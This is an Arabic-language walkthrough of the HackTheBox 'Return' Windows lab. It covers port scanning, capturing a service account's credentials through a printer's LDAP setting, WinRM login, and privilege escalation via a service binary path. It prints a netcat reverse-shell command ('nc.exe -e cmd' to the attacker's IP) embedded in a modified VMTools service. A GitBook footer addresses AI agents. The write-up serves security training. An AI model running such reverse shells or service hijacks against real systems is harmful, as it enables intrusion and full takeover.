> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md). # شرح Return HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * إساءة استخدام طابعة الشبكة * استغلال مجموعة Server Operators * التعامل مع تهيئة الخدمة {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

#### المنفذ 80:

## إساءة استخدام طابعة الشبكة في إعدادات المنفذ 80، يتم العثور على إعداد خادم يشير إلى `print.return.local` عبر المنفذ 389.

**الاستماع إلى المنفذ 389**/ بوضع `netcat` على المنفذ 389 ```bash nc -nlvp 389 ``` * يتم تلقي اتصال، مما يكشف بيانات اعتماد `svc-printer` مستخدم لديه `1edFg43012!!` كلمة المرور.

**التحقق من الهوية عبر WinRM** بما أن منفذ WinRM (5985) مفتوح، يتم التحقق من بيانات الاعتماد باستخدام `crackmapexec`: ```bash crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!' ``` * تؤكد الإجابة "pwned" صحة بيانات الاعتماد.

**تسجيل الدخول عبر Evil-WinRM** باستخدام `evil-winrm` للحصول على جلسة shell باستخدام `svc-printer`:

evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

### الراية user.txt :)

## تصعيد الامتيازات (مستويات السلامة): {% embed url="" %} **تدقيق مجموعات الأعضاء**/ الـ `whoami /groups` يشير الأمر إلى أن المستخدم ينتمي إلى `التصنيف الإلزامي/المستوى الإلزامي العالي` المجموعة، مما يسمح له بإدارة الخدمات.

**التلاعب بالخدمة من أجل تصعيد الامتيازات**/ يمكن للمستخدم أن يعدّل خدمة ويعيد تشغيلها لتنفيذ أمر بامتيازات أعلى.

**إنشاء خدمة**/ تتم محاولة إنشاء خدمة reverse shell باستخدام `sc.exe`، ولكن دون الصلاحيات اللازمة:

sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"

**تعديل خدمة VMTools**/ لتشغيل خدمة موجودة، `nc.exe` يتم نقلها إلى الجهاز الهدف، ثم `VMTools` يتم تعديل الخدمة لتشغيل reverse shell: * **نقل Netcat** ```bash cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe . ``` ```powershell upload /home/jordan/Desktop/htb/return/content/nc.exe ```

الفكرة هنا هي إعادة توجيه الملف التنفيذي لخدمة ما لتنفيذ أمر reverse shell، مما قد يمنحك جلسة بصلاحيات عالية إذا كانت الخدمة تعمل بامتيازات `SYSTEM` الامتيازات. ```powershell sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443" ```

**إعادة تشغيل الخدمة**/ بعد التهيئة، تتم إعادة تشغيل الخدمة لتشغيل shell:

sc.exe stop VMTools
sc.exe start VMTools

استمع إلى المنفذ 443 للاتصال الوارد: ```bash sudo rlwrap nc -nlvp 443 ```

### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.